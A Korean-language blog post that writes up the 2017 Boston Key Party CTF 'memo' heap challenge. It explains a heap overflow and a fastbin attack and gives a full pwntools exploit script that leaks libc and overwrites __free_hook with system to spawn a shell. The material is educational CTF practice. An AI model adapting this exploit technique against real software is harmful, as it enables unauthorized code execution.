티스토리 뷰

CTF write-up

2017 Boston Key Party CTF memo [ 300pt ]

marshimaro aSiagaming 2017. 10. 8. 20:49

연휴를 맞아 ctf문제들은 막 풀어보며 공부하고 있다.

이번에 푼 bkp CTF의 memo라는 문제는 나름 되게 간결한 fastbin attack문제였다.


64bit dynamically linked binary + NX bit, Full Relro 파일이다.


Full Relro이기에 바이너리 자체의 got overwrite는 불가능하다. ( 해당 영역이 read-only로 변경됨 )

바이너리를 분석해보자.





처음에 몇가지 세팅을 진행하고, 이름 + 비밀번호를 입력받고, 메뉴를 보여주고 해당 메뉴에 따른 함수로 분기하는 구조이다.

메시지를 남기거나, 마지막 메시지를 수정, 보기, 삭제, 계정정보 바꾸기, 나가기 6개의 함수들이 존재한다.





계정 정보를 입력받는데, 전역변수의 영역에 입력을 받는다.

전역 변수에는 어떤 것이있고, 각 사이즈들이 어떻게 있는지를 보면?






index | name | password | size | page 라는 순서대로 나열되어 있다.

이후에 보겠지만, page에는 할당된 chunk의 주소들이 저장되며, 4개까지만 index를 통해 접근할 수 있다.


size는 해당 페이지에 대한 size가 들어가게 된다.

( 나는 저 size배열이 int형임을 인지하지 못하고, 당연히 8byte단위인줄 알고 임의로 값을 덮어줬다가 안되서 한바퀴 돌아갔다 ..... )




1번 함수를 보면, 우선 어떤 인덱스에 할당할 것인지를 물어본다.

사실상 0~3의 값에서만 인덱스를 줄 수 있다.


그리고 size를 물어보는데, 0x30(malloc(0x20))이상의 chunk를 만들 수는 없다.

request하는 size가 0x20이하이면, 정상적으로 만들고 전역변수 테이블에 값을 써넣게 된다.


하지만, 0x20을 넘어가게되면, 전역변수 테이블에 값을 써넣진 않지만, 원하는 사이즈만큼 값을 입력하여

heap overflow를 발생시킬 수 있다.


우선, 여기서 생각할 수 있는건, fastbin size의 chunk만 다루기 때문에,

 fastbin attack이 아닐까라는 생각을 할 수 있을 것이다. 




2번 함수를 통해서는, 1번 메뉴에서 설정한 인덱스를 참조하여

page테이블을 확인한다.


존재할 경우, 해당 테이블의 값을 size테이블에서의 해당하는 값만큼 수정할 수 있다.





3번 함수에서는 index값과 페이지 테이블을 확인하여 존재할 경우, 해당 주소에 있는 값을 출력해주게 된다.




4번은 페이지테이블에 값이 있는 경우, 그 값을 free해주고, 해당 테이블을 0으로 초기화시킨다.




exploit 방향은 fastbin attack으로 잡았다.

chunk들을 만들었다가 해제를 하더라도, fastbin size의 chunk들은 다른 size와는 달리 일반적으로는 top chunk나 다른 chunk에 병합되지 않는다.


그리고 다른 bin들은 FIFO형식을 취하지만, fastbin은 LIFO구조를 취하기 때문에 이것도 유념해야한다.

순서대로 0, 1, 2인덱스로 할당을 했다면, 반대의 순서로 해제를 해주어야 다음번에 똑같은 사이즈를 할당할 때,

처음에 할당한 chunk부터 다시 재할당을 받게 된다.


이를 이용해서 뒤쪽의 해제된 chunk의 fd를 overwrite하는 것이다.


내가 타겟으로 잡은 곳은 name의 전역변수가 위치하는 곳이다.

그래서 처음에 아이디와 패스워드를 입력받는 부분에 fake chunk를 구성해준다.


fastbin의 fd를 새롭게 갱신해줄때는 next chunk의 size만을 확인하기때문에

이 조건만 충족해주는 chunk를 만들어 주면 된다.


그렇게하면, size, page테이블을 마음대로 조작할 수 있기때문에

view를 통해 라이브러리 주소를 얻어낼 수 있고


이를 이용해서 __free_hook의 주소에 값을 system의 주소를 적어놓게 되면

나중에 free를 할 때, system("/bin/sh")를 호출할 수 있다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
import sys, time
 
context.binary = "./memo"
binary = ELF("./memo")
 
= process(["./memo"])
pause()
 
p.recvuntil("name: ")
p.send(p64(0+ p64(0x31+ p64(0x602a30+ "A" * (0xf - 8+ "\x00")
#p.sendline("A" * 0x1f)
 
p.recvuntil("n) ")
p.sendline("y")
p.recvuntil("Password: ")
p.send("A" * 0x18 + p64(0x31))
#p.sendline("A" * 0x1f)
 
def leave_msg(index, length, msg):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Length: ")
    p.sendline(str(length))
    if length > 0x20:
        p.recvuntil("though")
        p.sendline(msg)
    else:
        p.recvuntil("Message: ")
        p.sendline(msg)
 
def edit_last(msg):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("message: ")
    p.sendline(msg)
 
def view(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))
 
def delete(index):
    p.recvuntil(">> ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))
 
def change_password(pwd, name, password):
    p.recvuntil(">> ")
    p.sendline("5")
    p.recvuntil("Password: ")
    p.send(pwd)
    p.recvuntil("name: ")
    p.send(name)
    p.recvuntil("password: ")
    p.send(password)
 
leave_msg(00x20"a" * 8)
leave_msg(10x20"b" * 8)
leave_msg(20x20"c" * 8)
 
delete(2)
delete(1)
delete(0)
 
fake_chunk = p64(0x602a20)
 
leave_msg(00x50"/bin/sh\x00" + "A" * 0x20 + p64(0x31+ fake_chunk)
leave_msg(10x20"d" * 8)
leave_msg(20x50, p64(0x602a30+ p64(0x31* 7 + p64(0x601f80+ p64(0x602a80))
 
view(0)
p.recvuntil("Message: ")
puts = u64(p.recv(6).ljust(8"\x00"))
libc_base = puts - 0x6f690
system = libc_base + 0x45390
free_hook = libc_base + 0x3c67a8
 
log.info("puts : " + hex(puts))
log.info("libc_base : " + hex(libc_base))
log.info("system : " + hex(system))
 
leave_msg(20x10"C" * 8)
 
view(1)
p.recvuntil("Message: ")
heap = u64(p.recv(4).ljust(8"\x00")) - 0xa0
 
log.info("heap : " + hex(heap))
 
delete(2)
 
leave_msg(20x60, p64(0x31* 6 + p64(heap + 0x10+ p64(free_hook) * 3)
 
edit_last(p64(system))
delete(0)
 
p.interactive()
cs


'CTF write-up' 카테고리의 다른 글

2017 Codegate JS World  (0) 2018.03.21
Tokyo Westerns CTF 3rd 2017 - Parrot  (0) 2017.10.09
2017 Boston Key Party CTF memo [ 300pt ]  (0) 2017.10.08
2016 HITCON house_of_orange  (0) 2017.10.07
2016 Boston Key Party simple calc  (0) 2017.10.04
TWCTF -_-...  (0) 2017.09.06
댓글
댓글쓰기 폼